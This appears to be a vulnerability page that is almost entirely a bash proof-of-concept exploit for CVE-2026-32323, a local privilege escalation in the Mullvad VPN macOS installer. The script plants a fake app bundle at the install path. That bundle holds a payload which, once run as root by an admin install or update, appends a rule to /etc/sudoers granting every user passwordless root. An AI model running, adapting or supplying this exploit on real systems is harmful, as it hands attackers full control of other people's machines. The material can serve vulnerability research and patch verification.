CVE-2026-32323 Mullvad VPN 本地权限提升漏洞

#!/bin/bash # PoC for CVE-2026-32323: Mullvad VPN Local Privilege Escalation # Description: Create a malicious app bundle at the target location. # When the installer runs, it executes the malicious payload as root. TARGET_APP="/Applications/Mullvad VPN.app" MALICIOUS_BINARY="/tmp/malicious_payload" # Check if the target path already exists if [ -d "$TARGET_APP" ]; then echo "[+] Target path already exists. Aborting to avoid accidental overwrite." exit 1 fi echo "[*] Creating malicious directory structure..." mkdir -p "$TARGET_APP/Contents/MacOS" # Create a simple malicious binary (e.g., a reverse shell or just adding a root user) cat > "$MALICIOUS_BINARY" << 'EOF' #!/bin/bash # This script runs as root due to the installer's privileges echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers touch /tmp/pwned_by_cve_2026_32323 EOF chmod +x "$MALICIOUS_BINARY" cp "$MALICIOUS_BINARY" "$TARGET_APP/Contents/MacOS/mullvad-daemon" # Create a minimal Info.plist to make it look like an app bundle cat > "$TARGET_APP/Contents/Info.plist" << 'EOF' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleExecutable</key> <string>mullvad-daemon</string> </dict> </plist> EOF echo "[+] Malicious bundle created at $TARGET_APP" echo "[+] Wait for an admin to install or update Mullvad VPN to trigger the exploit."